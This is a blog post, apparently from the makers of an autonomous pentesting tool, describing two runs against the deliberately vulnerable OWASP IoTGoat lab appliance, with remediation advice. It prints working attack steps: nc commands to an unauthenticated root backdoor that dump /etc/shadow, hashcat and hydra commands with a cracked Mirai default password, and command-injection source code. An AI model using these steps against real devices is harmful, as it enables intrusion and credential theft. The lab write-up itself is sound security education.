Blog

An unauthenticated root backdoor on an IoT device, found twice by two independent runs

Two separate campaigns against the same live OWASP IoTGoat appliance. Both reached root through the backdoor on port 5515, both pulled /etc/shadow, and one cracked the Mirai default credential over SSH.

· 7 min read

OWASP IoTGoat is a deliberately vulnerable OpenWrt appliance, built to teach embedded security. That makes it a good reproducibility test for an autonomous pentester: the findings are known in advance, so the question is not whether an agent can find something, it is whether two independent runs find the same things and describe them the same way.

We ran two separate campaigns against the same live device at 172.17.0.5, hours apart, with no state carried between them. Both reached root. Neither invented anything the other did not see.

What the two runs found

Campaign one produced 9 findings, 3 of them exploited.

SeverityCount
Critical4 (3 exploited)
High3 (confirmed)
Medium2 (confirmed)
Total9

Campaign two produced 12 findings, 4 exploited, and went further into persistence and key material.

SeverityCount
Critical4 (3 exploited)
High5 (1 exploited)
Medium3 (confirmed)
Total12

The way in, in both runs

A daemon called shellback listens on TCP 5515 and hands out a root shell to anyone who connects. It announces itself:

printf "id\n" | nc -w 5 172.17.0.5 5515

[***]Successfully Connected to IoTGoat's Backdoor[***]
uid=0(root) gid=0(root)

No credentials, no exploit, no race. The two campaigns reached it with different tooling, one using nc and the other curl telnet://, and both recorded the same banner and the same uid. From there the device is fully readable:

printf "cat /etc/shadow\n" | nc -w 5 172.17.0.5 5515

root:$1$<md5crypt hash>:18145:0:99999:7:::
iotgoatuser:$1$<md5crypt hash>:18145:0:99999:7:::

printf "uname -a\n" | nc -w 5 172.17.0.5 5515
Linux IoTGoat 4.14.95 #0 SMP Wed Jan 30 12:21:02 2019 i686 GNU/Linux
DISTRIB_ID='OpenWrt'  DISTRIB_RELEASE='18.06.2'  DISTRIB_REVISION='r7676-cddd7b4c77'

Password hashes are MD5crypt, an algorithm that has been unsuitable for password storage for two decades, which the reports record as its own medium severity finding rather than folding it into the shadow file exposure.

A second, independent way in

Campaign one took the hash it had just read and cracked it, then proved the credential works over SSH:

hashcat -m 500 '$1$<hash for iotgoatuser>' /tmp/biglist.txt --potfile-disable
-> cracked: 7ujMko0vizxv

hydra -l iotgoatuser -p 7ujMko0vizxv ssh://172.17.0.5:2222 -t 1
[2222][ssh] host: 172.17.0.5   login: iotgoatuser   password: 7ujMko0vizxv
1 of 1 target successfully completed, 1 valid password found

That password is one of the credentials hardcoded in the original Mirai botnet source. A device shipping with a Mirai default is not merely weak, it is in the list that automated botnets have been spraying at the internet since 2016. The Dropbear configuration also permits root password authentication.

The third path, which neither run took

Both campaigns found a hidden command injection endpoint in the LuCI web interface, and both stopped at reading its source through the backdoor:

printf "cat /usr/lib/lua/luci/controller/iotgoat/iotgoat.lua\n" | nc -w 5 172.17.0.5 5515

function webcmd()
    local cmd = http.formvalue("cmd")
    if cmd then
        local fp = io.popen(tostring(cmd).." 2>&1")
        local result = fp:read("*a")
        fp:close()

A form value passed straight into io.popen as root, reachable at /cgi-bin/luci/admin/iotgoat/webcmd, with a hidden page at /admin/iotgoat/cmdinject described in the controller as a developer diagnostics page.

Marked confirmed, in both runs

Neither campaign posted a command to that endpoint. Both read the Lua source, quoted the vulnerable lines, and recorded the finding as confirmed rather than exploited. The agent already had root through the backdoor, so demonstrating a second execution path would have added risk to a live device without adding evidence. Two independent runs made the same call, which is the consistency we were testing for.

Persistence, keys and the rest of the surface

Campaign two spent its extra findings on how the backdoor survives a reboot and what else the device gives up:

  • Persistence in four places. /etc/rc.local starts /usr/bin/shellback & and telnetd -p 65534 &, there is an init script at /etc/init.d/shellback, a startup symlink /etc/rc.d/S95shellback, and /etc/config/shellback has option enabled 1. Removing any one of them is not enough.
  • The backdoor binary confirmed by its own symbols. strings /usr/bin/shellback shows socket, bind, listen, accept, fork, dup2, execve and /bin/busybox sh, which is a shell server in symbol form.
  • Key material. The TLS private key at /etc/uhttpd.key was read, and the Dropbear SSH host key was located. Anyone holding those can impersonate the device and decrypt its traffic.
  • Telnet on 65534. Confirmed with netstat and the process list, cleartext credentials by design.
  • UPnP with secure_mode=no and an ACL of allow 1024-65535 0.0.0.0/0 0-65535, meaning any host on the network can map any port to any internal address.
  • An open WiFi access point, SSID OWASP IoTGoat, encryption 'none'.
  • A firmware stack from 2017 to 2019: OpenWrt 18.06.2, kernel 4.14.95, Dropbear 2017.75, dnsmasq 2.73, BusyBox 1.28.4, mbedTLS 2.14.1, miniupnpd 2.1, all end of life.
  • A firewall that does not filter. rfc1918_filter=0 on the web server and option input 'ACCEPT' on the LAN zone and in the defaults.

Remediation

  • Remove shellback and every persistence hook: the binary, the init script, the rc.d symlink, the UCI config entry and the rc.local line. Then rebuild the image rather than patching a running device.
  • Delete the iotgoatuser account, and never ship a device with a credential from any public list.
  • Move password storage off MD5crypt, disable root password authentication in Dropbear, and disable telnet entirely.
  • Remove the LuCI diagnostics controller, or authenticate it and stop passing user input to io.popen.
  • Regenerate the TLS and SSH host keys, since both are compromised the moment the filesystem is readable.
  • Enable WPA2 or WPA3 on the access point, turn on UPnP secure mode with a restrictive ACL, restore the RFC1918 filter, and set the firewall input policy to reject.
  • Update the firmware stack. Every component listed above has known CVEs and no upstream support.

What this proves about autonomous pentesting

Reproducibility is the property that makes an automated report worth reading. Two runs, different tooling, same banner, same uid, same hashes, same Lua source, same decision to stop short of firing the command injection. The second run found more, because it spent its budget on persistence and key material rather than re-proving the way in. Neither run claimed anything the device did not print.

Darkmoon is open source under GPL-3.0: repository, documentation.

Run it against your own lab

Darkmoon is open source (GPL-3.0) and self hosted. Clone it, point it at a target you own, and read every line.